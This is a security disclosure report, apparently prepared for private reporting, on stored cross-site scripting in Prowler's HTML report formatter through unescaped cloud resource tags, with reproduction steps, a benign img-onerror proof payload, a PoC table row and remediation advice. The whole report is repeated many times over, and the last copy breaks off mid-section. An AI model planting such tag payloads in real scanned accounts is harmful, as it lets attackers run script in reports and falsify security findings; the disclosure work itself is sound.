prowler-cloud

Summary

Prowler's HTML output formatter inserts finding.resource_tags into the generated report without HTML escaping. A cloud principal who can create or edit a resource tag in an account that is later scanned can store HTML or JavaScript in that tag. When another user opens the generated Prowler HTML report, the payload executes in the report page.

Impact

This is stored cross-site scripting in a security report artifact. The attacker needs permission to influence tags on a scanned cloud resource, and the victim must open the generated HTML report. In that context, JavaScript can read and modify the report DOM, alter displayed findings, and interact with any same-origin local or hosted report content available to the browser. This can undermine trust in generated security findings and can expose data contained in the report page.

Gate checks

The repository has 13,875 GitHub stars, which is above the 10,000 star floor. SECURITY.md is present and does not reject GitHub private reporting. The dedicated GitHub private vulnerability reporting endpoint for prowler-cloud/prowler returned true.

Affected versions

The vulnerable sink is present in current master at commit 329dfdf8e6cb8bc0424fb54b6595408e20969782 and in the latest GitHub release tag 5.28.0. The package metadata identifies the Python package as prowler.

Technical details

The HTML formatter builds each finding row with an f-string in prowler/lib/outputs/html/html.py. Neighboring fields are explicitly escaped:

• resource_uid is escaped at line 85 with .replace("<", "&lt;").replace(">", "&gt;").
• status_extended is escaped at line 87 with the same pattern.

The tag column does not apply equivalent escaping:

<td>{parse_html_string(unroll_dict(finding.resource_tags))}</td>

unroll_dict concatenates tag keys and values into a string, and parse_html_string only prefixes each item with an HTML bullet. Neither function escapes <, >, quotes, or event-handler attributes before insertion into the table cell. As a result, a tag value such as this remains active markup in the generated report:

<img src=x onerror="window.PROWLER_TAG_XSS=1">

Reproduction

1. Create or identify a cloud resource that Prowler will include in an HTML report.
2. Add a tag value containing a harmless proof payload, for example:

<img src=x onerror="window.PROWLER_TAG_XSS=1">

3. Run Prowler against the account and generate HTML output.
4. Open the generated HTML report in a browser.
5. The payload executes from the tags column.

A proof HTML fragment using the same formatter structure set window.PROWLER_TAG_XSS=1 from resource_tags, while equivalent payloads in resource_uid and status_extended stayed text because those fields are escaped.

Local evidence:

• /home/unkn0wn/security_audit/vulnerability-reports/prowler-html-tag-xss-evidence-2026-05-26.json
• /home/unkn0wn/security_audit/vulnerability-reports/prowler-html-tag-xss-proof-full.html

PoC

The minimized generated row below mirrors the vulnerable formatter output. The first and third candidate payloads are escaped controls. The middle payload is the unescaped resource_tags value and executes when the report is rendered.

<tr class="table-danger">
  <td>&lt;img src=x onerror="window.PROWLER_UID_XSS=1"&gt;</td>
  <td>
    &#x2022;Owner=<img src=x onerror="window.PROWLER_TAG_XSS=1;document.body.setAttribute('data-prowler-tag-xss','1')">
  </td>
  <td>&lt;img src=x onerror="window.PROWLER_STATUS_XSS=1"&gt;</td>
</tr>

Browser proof result from the local artifact:

{"tag": 1, "uid": 0, "status": 0, "attr": "1"}

Remediation

Escape tag keys and values before inserting them into HTML output. Prefer a single HTML escaping helper for every finding field that can originate from provider data. If bullets or separators are needed, build the list structure after escaping each key and value, rather than escaping the final HTML string after markup has been added.

Summary

Prowler's HTML output formatter inserts finding.resource_tags into the generated report without HTML escaping. A cloud principal who can create or edit a resource tag in an account that is later scanned can store HTML or JavaScript in that tag. When another user opens the generated Prowler HTML report, the payload executes in the report page.

Impact

This is stored cross-site scripting in a security report artifact. The attacker needs permission to influence tags on a scanned cloud resource, and the victim must open the generated HTML report. In that context, JavaScript can read and modify the report DOM, alter displayed findings, and interact with any same-origin local or hosted report content available to the browser. This can undermine trust in generated security findings and can expose data contained in the report page.

Gate checks

The repository has 13,875 GitHub stars, which is above the 10,000 star floor. SECURITY.md is present and does not reject GitHub private reporting. The dedicated GitHub private vulnerability reporting endpoint for prowler-cloud/prowler returned true.

Affected versions

The vulnerable sink is present in current master at commit 329dfdf8e6cb8bc0424fb54b6595408e20969782 and in the latest GitHub release tag 5.28.0. The package metadata identifies the Python package as prowler.

Technical details

The HTML formatter builds each finding row with an f-string in prowler/lib/outputs/html/html.py. Neighboring fields are explicitly escaped:

• resource_uid is escaped at line 85 with .replace("<", "&lt;").replace(">", "&gt;").
• status_extended is escaped at line 87 with the same pattern.

The tag column does not apply equivalent escaping:

<td>{parse_html_string(unroll_dict(finding.resource_tags))}</td>

unroll_dict concatenates tag keys and values into a string, and parse_html_string only prefixes each item with an HTML bullet. Neither function escapes <, >, quotes, or event-handler attributes before insertion into the table cell. As a result, a tag value such as this remains active markup in the generated report:

<img src=x onerror="window.PROWLER_TAG_XSS=1">

Reproduction

1. Create or identify a cloud resource that Prowler will include in an HTML report.
2. Add a tag value containing a harmless proof payload, for example:

<img src=x onerror="window.PROWLER_TAG_XSS=1">

3. Run Prowler against the account and generate HTML output.
4. Open the generated HTML report in a browser.
5. The payload executes from the tags column.

A proof HTML fragment using the same formatter structure set window.PROWLER_TAG_XSS=1 from resource_tags, while equivalent payloads in resource_uid and status_extended stayed text because those fields are escaped.

Local evidence:

• /home/unkn0wn/security_audit/vulnerability-reports/prowler-html-tag-xss-evidence-2026-05-26.json
• /home/unkn0wn/security_audit/vulnerability-reports/prowler-html-tag-xss-proof-full.html

PoC

The minimized generated row below mirrors the vulnerable formatter output. The first and third candidate payloads are escaped controls. The middle payload is the unescaped resource_tags value and executes when the report is rendered.

<tr class="table-danger">
  <td>&lt;img src=x onerror="window.PROWLER_UID_XSS=1"&gt;</td>
  <td>
    &#x2022;Owner=<img src=x onerror="window.PROWLER_TAG_XSS=1;document.body.setAttribute('data-prowler-tag-xss','1')">
  </td>
  <td>&lt;img src=x onerror="window.PROWLER_STATUS_XSS=1"&gt;</td>
</tr>

Browser proof result from the local artifact:

{"tag": 1, "uid": 0, "status": 0, "attr": "1"}

Remediation

Escape tag keys and values before inserting them into HTML output. Prefer a single HTML escaping helper for every finding field that can originate from provider data. If bullets or separators are needed, build the list structure after escaping each key and value, rather than escaping the final HTML string after markup has been added.

Summary

Prowler's HTML output formatter inserts finding.resource_tags into the generated report without HTML escaping. A cloud principal who can create or edit a resource tag in an account that is later scanned can store HTML or JavaScript in that tag. When another user opens the generated Prowler HTML report, the payload executes in the report page.

Impact

This is stored cross-site scripting in a security report artifact. The attacker needs permission to influence tags on a scanned cloud resource, and the victim must open the generated HTML report. In that context, JavaScript can read and modify the report DOM, alter displayed findings, and interact with any same-origin local or hosted report content available to the browser. This can undermine trust in generated security findings and can expose data contained in the report page.

Gate checks

The repository has 13,875 GitHub stars, which is above the 10,000 star floor. SECURITY.md is present and does not reject GitHub private reporting. The dedicated GitHub private vulnerability reporting endpoint for prowler-cloud/prowler returned true.

Affected versions

The vulnerable sink is present in current master at commit 329dfdf8e6cb8bc0424fb54b6595408e20969782 and in the latest GitHub release tag 5.28.0. The package metadata identifies the Python package as prowler.

Technical details

The HTML formatter builds each finding row with an f-string in prowler/lib/outputs/html/html.py. Neighboring fields are explicitly escaped:

• resource_uid is escaped at line 85 with .replace("<", "&lt;").replace(">", "&gt;").
• status_extended is escaped at line 87 with the same pattern.

The tag column does not apply equivalent escaping:

<td>{parse_html_string(unroll_dict(finding.resource_tags))}</td>

unroll_dict concatenates tag keys and values into a string, and parse_html_string only prefixes each item with an HTML bullet. Neither function escapes <, >, quotes, or event-handler attributes before insertion into the table cell. As a result, a tag value such as this remains active markup in the generated report:

<img src=x onerror="window.PROWLER_TAG_XSS=1">

Reproduction

1. Create or identify a cloud resource that Prowler will include in an HTML report.
2. Add a tag value containing a harmless proof payload, for example:

<img src=x onerror="window.PROWLER_TAG_XSS=1">

3. Run Prowler against the account and generate HTML output.
4. Open the generated HTML report in a browser.
5. The payload executes from the tags column.

A proof HTML fragment using the same formatter structure set window.PROWLER_TAG_XSS=1 from resource_tags, while equivalent payloads in resource_uid and status_extended stayed text because those fields are escaped.

Local evidence:

• /home/unkn0wn/security_audit/vulnerability-reports/prowler-html-tag-xss-evidence-2026-05-26.json
• /home/unkn0wn/security_audit/vulnerability-reports/prowler-html-tag-xss-proof-full.html

PoC

The minimized generated row below mirrors the vulnerable formatter output. The first and third candidate payloads are escaped controls. The middle payload is the unescaped resource_tags value and executes when the report is rendered.

<tr class="table-danger">
  <td>&lt;img src=x onerror="window.PROWLER_UID_XSS=1"&gt;</td>
  <td>
    &#x2022;Owner=<img src=x onerror="window.PROWLER_TAG_XSS=1;document.body.setAttribute('data-prowler-tag-xss','1')">
  </td>
  <td>&lt;img src=x onerror="window.PROWLER_STATUS_XSS=1"&gt;</td>
</tr>

Browser proof result from the local artifact:

{"tag": 1, "uid": 0, "status": 0, "attr": "1"}

Remediation

Escape tag keys and values before inserting them into HTML output. Prefer a single HTML escaping helper for every finding field that can originate from provider data. If bullets or separators are needed, build the list structure after escaping each key and value, rather than escaping the final HTML string after markup has been added.

Summary

Prowler's HTML output formatter inserts finding.resource_tags into the generated report without HTML escaping. A cloud principal who can create or edit a resource tag in an account that is later scanned can store HTML or JavaScript in that tag. When another user opens the generated Prowler HTML report, the payload executes in the report page.

Impact

This is stored cross-site scripting in a security report artifact. The attacker needs permission to influence tags on a scanned cloud resource, and the victim must open the generated HTML report. In that context, JavaScript can read and modify the report DOM, alter displayed findings, and interact with any same-origin local or hosted report content available to the browser. This can undermine trust in generated security findings and can expose data contained in the report page.

Gate checks

The repository has 13,875 GitHub stars, which is above the 10,000 star floor. SECURITY.md is present and does not reject GitHub private reporting. The dedicated GitHub private vulnerability reporting endpoint for prowler-cloud/prowler returned true.

Affected versions

The vulnerable sink is present in current master at commit 329dfdf8e6cb8bc0424fb54b6595408e20969782 and in the latest GitHub release tag 5.28.0. The package metadata identifies the Python package as prowler.

Technical details

The HTML formatter builds each finding row with an f-string in prowler/lib/outputs/html/html.py. Neighboring fields are explicitly escaped:

• resource_uid is escaped at line 85 with .replace("<", "&lt;").replace(">", "&gt;").
• status_extended is escaped at line 87 with the same pattern.

The tag column does not apply equivalent escaping:

<td>{parse_html_string(unroll_dict(finding.resource_tags))}</td>

unroll_dict concatenates tag keys and values into a string, and parse_html_string only prefixes each item with an HTML bullet. Neither function escapes <, >, quotes, or event-handler attributes before insertion into the table cell. As a result, a tag value such as this remains active markup in the generated report:

<img src=x onerror="window.PROWLER_TAG_XSS=1">

Reproduction

1. Create or identify a cloud resource that Prowler will include in an HTML report.
2. Add a tag value containing a harmless proof payload, for example:

<img src=x onerror="window.PROWLER_TAG_XSS=1">

3. Run Prowler against the account and generate HTML output.
4. Open the generated HTML report in a browser.
5. The payload executes from the tags column.

A proof HTML fragment using the same formatter structure set window.PROWLER_TAG_XSS=1 from resource_tags, while equivalent payloads in resource_uid and status_extended stayed text because those fields are escaped.

Local evidence:

• /home/unkn0wn/security_audit/vulnerability-reports/prowler-html-tag-xss-evidence-2026-05-26.json
• /home/unkn0wn/security_audit/vulnerability-reports/prowler-html-tag-xss-proof-full.html

PoC

The minimized generated row below mirrors the vulnerable formatter output. The first and third candidate payloads are escaped controls. The middle payload is the unescaped resource_tags value and executes when the report is rendered.

<tr class="table-danger">
  <td>&lt;img src=x onerror="window.PROWLER_UID_XSS=1"&gt;</td>
  <td>
    &#x2022;Owner=<img src=x onerror="window.PROWLER_TAG_XSS=1;document.body.setAttribute('data-prowler-tag-xss','1')">
  </td>
  <td>&lt;img src=x onerror="window.PROWLER_STATUS_XSS=1"&gt;</td>
</tr>

Browser proof result from the local artifact:

{"tag": 1, "uid": 0, "status": 0, "attr": "1"}

Remediation

Escape tag keys and values before inserting them into HTML output. Prefer a single HTML escaping helper for every finding field that can originate from provider data. If bullets or separators are needed, build the list structure after escaping each key and value, rather than escaping the final HTML string after markup has been added.

Summary

Prowler's HTML output formatter inserts finding.resource_tags into the generated report without HTML escaping. A cloud principal who can create or edit a resource tag in an account that is later scanned can store HTML or JavaScript in that tag. When another user opens the generated Prowler HTML report, the payload executes in the report page.

Impact

This is stored cross-site scripting in a security report artifact. The attacker needs permission to influence tags on a scanned cloud resource, and the victim must open the generated HTML report. In that context, JavaScript can read and modify the report DOM, alter displayed findings, and interact with any same-origin local or hosted report content available to the browser. This can undermine trust in generated security findings and can expose data contained in the report page.

Gate checks

The repository has 13,875 GitHub stars, which is above the 10,000 star floor. SECURITY.md is present and does not reject GitHub private reporting. The dedicated GitHub private vulnerability reporting endpoint for prowler-cloud/prowler returned true.

Affected versions

The vulnerable sink is present in current master at commit 329dfdf8e6cb8bc0424fb54b6595408e20969782 and in the latest GitHub release tag 5.28.0. The package metadata identifies the Python package as prowler.

Technical details

The HTML formatter builds each finding row with an f-string in prowler/lib/outputs/html/html.py. Neighboring fields are explicitly escaped:

• resource_uid is escaped at line 85 with .replace("<", "&lt;").replace(">", "&gt;").
• status_extended is escaped at line 87 with the same pattern.

The tag column does not apply equivalent escaping:

<td>{parse_html_string(unroll_dict(finding.resource_tags))}</td>

unroll_dict concatenates tag keys and values into a string, and parse_html_string only prefixes each item with an HTML bullet. Neither function escapes <, >, quotes, or event-handler attributes before insertion into the table cell. As a result, a tag value such as this remains active markup in the generated report:

<img src=x onerror="window.PROWLER_TAG_XSS=1">

Reproduction

1. Create or identify a cloud resource that Prowler will include in an HTML report.
2. Add a tag value containing a harmless proof payload, for example:

<img src=x onerror="window.PROWLER_TAG_XSS=1">

3. Run Prowler against the account and generate HTML output.
4. Open the generated HTML report in a browser.
5. The payload executes from the tags column.

A proof HTML fragment using the same formatter structure set window.PROWLER_TAG_XSS=1 from resource_tags, while equivalent payloads in resource_uid and status_extended stayed text because those fields are escaped.

Local evidence:

• /home/unkn0wn/security_audit/vulnerability-reports/prowler-html-tag-xss-evidence-2026-05-26.json
• /home/unkn0wn/security_audit/vulnerability-reports/prowler-html-tag-xss-proof-full.html

PoC

The minimized generated row below mirrors the vulnerable formatter output. The first and third candidate payloads are escaped controls. The middle payload is the unescaped resource_tags value and executes when the report is rendered.

<tr class="table-danger">
  <td>&lt;img src=x onerror="window.PROWLER_UID_XSS=1"&gt;</td>
  <td>
    &#x2022;Owner=<img src=x onerror="window.PROWLER_TAG_XSS=1;document.body.setAttribute('data-prowler-tag-xss','1')">
  </td>
  <td>&lt;img src=x onerror="window.PROWLER_STATUS_XSS=1"&gt;</td>
</tr>

Browser proof result from the local artifact:

{"tag": 1, "uid": 0, "status": 0, "attr": "1"}

Remediation

Escape tag keys and values before inserting them into HTML output. Prefer a single HTML escaping helper for every finding field that can originate from provider data. If bullets or separators are needed, build the list structure after escaping each key and value, rather than escaping the final HTML string after markup has been added.

Summary

Prowler's HTML output formatter inserts finding.resource_tags into the generated report without HTML escaping. A cloud principal who can create or edit a resource tag in an account that is later scanned can store HTML or JavaScript in that tag. When another user opens the generated Prowler HTML report, the payload executes in the report page.

Impact

This is stored cross-site scripting in a security report artifact. The attacker needs permission to influence tags on a scanned cloud resource, and the victim must open the generated HTML report. In that context, JavaScript can read and modify the report DOM, alter displayed findings, and interact with any same-origin local or hosted report content available to the browser. This can undermine trust in generated security findings and can expose data contained in the report page.

Gate checks

The repository has 13,875 GitHub stars, which is above the 10,000 star floor. SECURITY.md is present and does not reject GitHub private reporting. The dedicated GitHub private vulnerability reporting endpoint for prowler-cloud/prowler returned true.

Affected versions

The vulnerable sink is present in current master at commit 329dfdf8e6cb8bc0424fb54b6595408e20969782 and in the latest GitHub release tag 5.28.0. The package metadata identifies the Python package as prowler.

Technical details

The HTML formatter builds each finding row with an f-string in prowler/lib/outputs/html/html.py. Neighboring fields are explicitly escaped:

• resource_uid is escaped at line 85 with .replace("<", "&lt;").replace(">", "&gt;").
• status_extended is escaped at line 87 with the same pattern.

The tag column does not apply equivalent escaping:

<td>{parse_html_string(unroll_dict(finding.resource_tags))}</td>

unroll_dict concatenates tag keys and values into a string, and parse_html_string only prefixes each item with an HTML bullet. Neither function escapes <, >, quotes, or event-handler attributes before insertion into the table cell. As a result, a tag value such as this remains active markup in the generated report:

<img src=x onerror="window.PROWLER_TAG_XSS=1">

Reproduction

1. Create or identify a cloud resource that Prowler will include in an HTML report.
2. Add a tag value containing a harmless proof payload, for example:

<img src=x onerror="window.PROWLER_TAG_XSS=1">

3. Run Prowler against the account and generate HTML output.
4. Open the generated HTML report in a browser.
5. The payload executes from the tags column.

A proof HTML fragment using the same formatter structure set window.PROWLER_TAG_XSS=1 from resource_tags, while equivalent payloads in resource_uid and status_extended stayed text because those fields are escaped.

Local evidence:

• /home/unkn0wn/security_audit/vulnerability-reports/prowler-html-tag-xss-evidence-2026-05-26.json
• /home/unkn0wn/security_audit/vulnerability-reports/prowler-html-tag-xss-proof-full.html

PoC

The minimized generated row below mirrors the vulnerable formatter output. The first and third candidate payloads are escaped controls. The middle payload is the unescaped resource_tags value and executes when the report is rendered.

<tr class="table-danger">
  <td>&lt;img src=x onerror="window.PROWLER_UID_XSS=1"&gt;</td>
  <td>
    &#x2022;Owner=<img src=x onerror="window.PROWLER_TAG_XSS=1;document.body.setAttribute('data-prowler-tag-xss','1')">
  </td>
  <td>&lt;img src=x onerror="window.PROWLER_STATUS_XSS=1"&gt;</td>
</tr>

Browser proof result from the local artifact:

{"tag": 1, "uid": 0, "status": 0, "attr": "1"}

Remediation

Escape tag keys and values before inserting them into HTML output. Prefer a single HTML escaping helper for every finding field that can originate from provider data. If bullets or separators are needed, build the list structure after escaping each key and value, rather than escaping the final HTML string after markup has been added.

Summary

Prowler's HTML output formatter inserts finding.resource_tags into the generated report without HTML escaping. A cloud principal who can create or edit a resource tag in an account that is later scanned can store HTML or JavaScript in that tag. When another user opens the generated Prowler HTML report, the payload executes in the report page.

Impact

This is stored cross-site scripting in a security report artifact. The attacker needs permission to influence tags on a scanned cloud resource, and the victim must open the generated HTML report. In that context, JavaScript can read and modify the report DOM, alter displayed findings, and interact with any same-origin local or hosted report content available to the browser. This can undermine trust in generated security findings and can expose data contained in the report page.

Gate checks

The repository has 13,875 GitHub stars, which is above the 10,000 star floor. SECURITY.md is present and does not reject GitHub private reporting. The dedicated GitHub private vulnerability reporting endpoint for prowler-cloud/prowler returned true.

Affected versions

The vulnerable sink is present in current master at commit 329dfdf8e6cb8bc0424fb54b6595408e20969782 and in the latest GitHub release tag 5.28.0. The package metadata identifies the Python package as prowler.

Technical details

The HTML formatter builds each finding row with an f-string in prowler/lib/outputs/html/html.py. Neighboring fields are explicitly escaped:

• resource_uid is escaped at line 85 with .replace("<", "&lt;").replace(">", "&gt;").
• status_extended is escaped at line 87 with the same pattern.

The tag column does not apply equivalent escaping:

<td>{parse_html_string(unroll_dict(finding.resource_tags))}</td>

unroll_dict concatenates tag keys and values into a string, and parse_html_string only prefixes each item with an HTML bullet. Neither function escapes <, >, quotes, or event-handler attributes before insertion into the table cell. As a result, a tag value such as this remains active markup in the generated report:

<img src=x onerror="window.PROWLER_TAG_XSS=1">

Reproduction

1. Create or identify a cloud resource that Prowler will include in an HTML report.
2. Add a tag value containing a harmless proof payload, for example:

<img src=x onerror="window.PROWLER_TAG_XSS=1">

3. Run Prowler against the account and generate HTML output.
4. Open the generated HTML report in a browser.
5. The payload executes from the tags column.

A proof HTML fragment using the same formatter structure set window.PROWLER_TAG_XSS=1 from resource_tags, while equivalent payloads in resource_uid and status_extended stayed text because those fields are escaped.

Local evidence:

• /home/unkn0wn/security_audit/vulnerability-reports/prowler-html-tag-xss-evidence-2026-05-26.json
• /home/unkn0wn/security_audit/vulnerability-reports/prowler-html-tag-xss-proof-full.html

PoC

The minimized generated row below mirrors the vulnerable formatter output. The first and third candidate payloads are escaped controls. The middle payload is the unescaped resource_tags value and executes when the report is rendered.

<tr class="table-danger">
  <td>&lt;img src=x onerror="window.PROWLER_UID_XSS=1"&gt;</td>
  <td>
    &#x2022;Owner=<img src=x onerror="window.PROWLER_TAG_XSS=1;document.body.setAttribute('data-prowler-tag-xss','1')">
  </td>
  <td>&lt;img src=x onerror="window.PROWLER_STATUS_XSS=1"&gt;</td>
</tr>

Browser proof result from the local artifact:

{"tag": 1, "uid": 0, "status": 0, "attr": "1"}

Remediation

Escape tag keys and values before inserting them into HTML output. Prefer a single HTML escaping helper for every finding field that can originate from provider data. If bullets or separators are needed, build the list structure after escaping each key and value, rather than escaping the final HTML string after markup has been added.

Summary

Prowler's HTML output formatter inserts finding.resource_tags into the generated report without HTML escaping. A cloud principal who can create or edit a resource tag in an account that is later scanned can store HTML or JavaScript in that tag. When another user opens the generated Prowler HTML report, the payload executes in the report page.

Impact

This is stored cross-site scripting in a security report artifact. The attacker needs permission to influence tags on a scanned cloud resource, and the victim must open the generated HTML report. In that context, JavaScript can read and modify the report DOM, alter displayed findings, and interact with any same-origin local or hosted report content available to the browser. This can undermine trust in generated security findings and can expose data contained in the report page.

Gate checks

The repository has 13,875 GitHub stars, which is above the 10,000 star floor. SECURITY.md is present and does not reject GitHub private reporting. The dedicated GitHub private vulnerability reporting endpoint for prowler-cloud/prowler returned true.

Affected versions

The vulnerable sink is present in current master at commit 329dfdf8e6cb8bc0424fb54b6595408e20969782 and in the latest GitHub release tag 5.28.0. The package metadata identifies the Python package as prowler.

Technical details

The HTML formatter builds each finding row with an f-string in prowler/lib/outputs/html/html.py. Neighboring fields are explicitly escaped:

• resource_uid is escaped at line 85 with .replace("<", "&lt;").replace(">", "&gt;").
• status_extended is escaped at line 87 with the same pattern.

The tag column does not apply equivalent escaping:

<td>{parse_html_string(unroll_dict(finding.resource_tags))}</td>

unroll_dict concatenates tag keys and values into a string, and parse_html_string only prefixes each item with an HTML bullet. Neither function escapes <, >, quotes, or event-handler attributes before insertion into the table cell. As a result, a tag value such as this remains active markup in the generated report:

<img src=x onerror="window.PROWLER_TAG_XSS=1">

Reproduction

1. Create or identify a cloud resource that Prowler will include in an HTML report.
2. Add a tag value containing a harmless proof payload, for example:

<img src=x onerror="window.PROWLER_TAG_XSS=1">

3. Run Prowler against the account and generate HTML output.
4. Open the generated HTML report in a browser.
5. The payload executes from the tags column.

A proof HTML fragment using the same formatter structure set window.PROWLER_TAG_XSS=1 from resource_tags, while equivalent payloads in resource_uid and status_extended stayed text because those fields are escaped.

Local evidence:

• /home/unkn0wn/security_audit/vulnerability-reports/prowler-html-tag-xss-evidence-2026-05-26.json
• /home/unkn0wn/security_audit/vulnerability-reports/prowler-html-tag-xss-proof-full.html

PoC

The minimized generated row below mirrors the vulnerable formatter output. The first and third candidate payloads are escaped controls. The middle payload is the unescaped resource_tags value and executes when the report is rendered.

<tr class="table-danger">
  <td>&lt;img src=x onerror="window.PROWLER_UID_XSS=1"&gt;</td>
  <td>
    &#x2022;Owner=<img src=x onerror="window.PROWLER_TAG_XSS=1;document.body.setAttribute('data-prowler-tag-xss','1')">
  </td>
  <td>&lt;img src=x onerror="window.PROWLER_STATUS_XSS=1"&gt;</td>
</tr>

Browser proof result from the local artifact:

{"tag": 1, "uid": 0, "status": 0, "attr": "1"}

Remediation

Escape tag keys and values before inserting them into HTML output. Prefer a single HTML escaping helper for every finding field that can originate from provider data. If bullets or separators are needed, build the list structure after escaping each key and value, rather than escaping the final HTML string after markup has been added.

Summary

Prowler's HTML output formatter inserts finding.resource_tags into the generated report without HTML escaping. A cloud principal who can create or edit a resource tag in an account that is later scanned can store HTML or JavaScript in that tag. When another user opens the generated Prowler HTML report, the payload executes in the report page.

Impact

This is stored cross-site scripting in a security report artifact. The attacker needs permission to influence tags on a scanned cloud resource, and the victim must open the generated HTML report. In that context, JavaScript can read and modify the report DOM, alter displayed findings, and interact with any same-origin local or hosted report content available to the browser. This can undermine trust in generated security findings and can expose data contained in the report page.

Gate checks

The repository has 13,875 GitHub stars, which is above the 10,000 star floor. SECURITY.md is present and does not reject GitHub private reporting. The dedicated GitHub private vulnerability reporting endpoint for prowler-cloud/prowler returned true.

Affected versions

The vulnerable sink is present in current master at commit 329dfdf8e6cb8bc0424fb54b6595408e20969782 and in the latest GitHub release tag 5.28.0. The package metadata identifies the Python package as prowler.

Technical details

The HTML formatter builds each finding row with an f-string in prowler/lib/outputs/html/html.py. Neighboring fields are explicitly escaped:

• resource_uid is escaped at line 85 with .replace("<", "&lt;").replace(">", "&gt;").
• status_extended is escaped at line 87 with the same pattern.

The tag column does not apply equivalent escaping:

<td>{parse_html_string(unroll_dict(finding.resource_tags))}</td>

unroll_dict concatenates tag keys and values into a string, and parse_html_string only prefixes each item with an HTML bullet. Neither function escapes <, >, quotes, or event-handler attributes before insertion into the table cell. As a result, a tag value such as this remains active markup in the generated report:

<img src=x onerror="window.PROWLER_TAG_XSS=1">

Reproduction

1. Create or identify a cloud resource that Prowler will include in an HTML report.
2. Add a tag value containing a harmless proof payload, for example:

<img src=x onerror="window.PROWLER_TAG_XSS=1">

3. Run Prowler against the account and generate HTML output.
4. Open the generated HTML report in a browser.
5. The payload executes from the tags column.

A proof HTML fragment using the same formatter structure set window.PROWLER_TAG_XSS=1 from resource_tags, while equivalent payloads in resource_uid and status_extended stayed text because those fields are escaped.

Local evidence:

• /home/unkn0wn/security_audit/vulnerability-reports/prowler-html-tag-xss-evidence-2026-05-26.json
• /home/unkn0wn/security_audit/vulnerability-reports/prowler-html-tag-xss-proof-full.html

PoC

The minimized generated row below mirrors the vulnerable formatter output. The first and third candidate payloads are escaped controls. The middle payload is the unescaped resource_tags value and executes when the report is rendered.

<tr class="table-danger">
  <td>&lt;img src=x onerror="window.PROWLER_UID_XSS=1"&gt;</td>
  <td>
    &#x2022;Owner=<img src=x onerror="window.PROWLER_TAG_XSS=1;document.body.setAttribute('data-prowler-tag-xss','1')">
  </td>
  <td>&lt;img src=x onerror="window.PROWLER_STATUS_XSS=1"&gt;</td>
</tr>

Browser proof result from the local artifact:

{"tag": 1, "uid": 0, "status": 0, "attr": "1"}

Remediation

Escape tag keys and values before inserting them into HTML output. Prefer a single HTML escaping helper for every finding field that can originate from provider data. If bullets or separators are needed, build the list structure after escaping each key and value, rather than escaping the final HTML string after markup has been added.

Summary

Prowler's HTML output formatter inserts finding.resource_tags into the generated report without HTML escaping. A cloud principal who can create or edit a resource tag in an account that is later scanned can store HTML or JavaScript in that tag. When another user opens the generated Prowler HTML report, the payload executes in the report page.

Impact

This is stored cross-site scripting in a security report artifact. The attacker needs permission to influence tags on a scanned cloud resource, and the victim must open the generated HTML report. In that context, JavaScript can read and modify the report DOM, alter displayed findings, and interact with any same-origin local or hosted report content available to the browser. This can undermine trust in generated security findings and can expose data contained in the report page.

Gate checks

The repository has 13,875 GitHub stars, which is above the 10,000 star floor. SECURITY.md is present and does not reject GitHub private reporting. The dedicated GitHub private vulnerability reporting endpoint for prowler-cloud/prowler returned true.

Affected versions

The vulnerable sink is present in current master at commit 329dfdf8e6cb8bc0424fb54b6595408e20969782 and in the latest GitHub release tag 5.28.0. The package metadata identifies the Python package as prowler.

Technical details

The HTML formatter builds each finding row with an f-string in prowler/lib/outputs/html/html.py. Neighboring fields are explicitly escaped:

• resource_uid is escaped at line 85 with .replace("<", "&lt;").replace(">", "&gt;").
• status_extended is escaped at line 87 with the same pattern.

The tag column does not apply equivalent escaping:

<td>{parse_html_string(unroll_dict(finding.resource_tags))}</td>

unroll_dict concatenates tag keys and values into a string, and parse_html_string only prefixes each item with an HTML bullet. Neither function escapes <, >, quotes, or event-handler attributes before insertion into the table cell. As a result, a tag value such as this remains active markup in the generated report:

<img src=x onerror="window.PROWLER_TAG_XSS=1">

Reproduction

1. Create or identify a cloud resource that Prowler will include in an HTML report.
2. Add a tag value containing a harmless proof payload, for example:

<img src=x onerror="window.PROWLER_TAG_XSS=1">

3. Run Prowler against the account and generate HTML output.
4. Open the generated HTML report in a browser.
5. The payload executes from the tags column.

A proof HTML fragment using the same formatter structure set window.PROWLER_TAG_XSS=1 from resource_tags, while equivalent payloads in resource_uid and status_extended stayed text because those fields are escaped.

Local evidence:

• /home/unkn0wn/security_audit/vulnerability-reports/prowler-html-tag-xss-evidence-2026-05-26.json
• /home/unkn0wn/security_audit/vulnerability-reports/prowler-html-tag-xss-proof-full.html

PoC

The minimized generated row below mirrors the vulnerable formatter output. The first and third candidate payloads are escaped controls. The middle payload is the unescaped resource_tags value and executes when the report is rendered.

<tr class="table-danger">
  <td>&lt;img src=x onerror="window.PROWLER_UID_XSS=1"&gt;</td>
  <td>
    &#x2022;Owner=<img src=x onerror="window.PROWLER_TAG_XSS=1;document.body.setAttribute('data-prowler-tag-xss','1')">
  </td>
  <td>&lt;img src=x onerror="window.PROWLER_STATUS_XSS=1"&gt;</td>
</tr>

Browser proof result from the local artifact:

{"tag": 1, "uid": 0, "status": 0, "attr": "1"}

Remediation

Escape tag keys and values before inserting them into HTML output. Prefer a single HTML escaping helper for every finding field that can originate from provider data. If bullets or separators are needed, build the list structure after escaping each key and value, rather than escaping the final HTML string after markup has been added.

Summary

Prowler's HTML output formatter inserts finding.resource_tags into the generated report without HTML escaping. A cloud principal who can create or edit a resource tag in an account that is later scanned can store HTML or JavaScript in that tag. When another user opens the generated Prowler HTML report, the payload executes in the report page.

Impact

This is stored cross-site scripting in a security report artifact. The attacker needs permission to influence tags on a scanned cloud resource, and the victim must open the generated HTML report. In that context, JavaScript can read and modify the report DOM, alter displayed findings, and interact with any same-origin local or hosted report content available to the browser. This can undermine trust in generated security findings and can expose data contained in the report page.

Gate checks

The repository has 13,875 GitHub stars, which is above the 10,000 star floor. SECURITY.md is present and does not reject GitHub private reporting. The dedicated GitHub private vulnerability reporting endpoint for prowler-cloud/prowler returned true.

Affected versions

The vulnerable sink is present in current master at commit 329dfdf8e6cb8bc0424fb54b6595408e20969782 and in the latest GitHub release tag 5.28.0. The package metadata identifies the Python package as prowler.

Technical details

The HTML formatter builds each finding row with an f-string in prowler/lib/outputs/html/html.py. Neighboring fields are explicitly escaped:

• resource_uid is escaped at line 85 with .replace("<", "&lt;").replace(">", "&gt;").
• status_extended is escaped at line 87 with the same pattern.

The tag column does not apply equivalent escaping:

<td>{parse_html_string(unroll_dict(finding.resource_tags))}</td>

unroll_dict concatenates tag keys and values into a string, and parse_html_string only prefixes each item with an HTML bullet. Neither function escapes <, >, quotes, or event-handler attributes before insertion into the table cell. As a result, a tag value such as this remains active markup in the generated report:

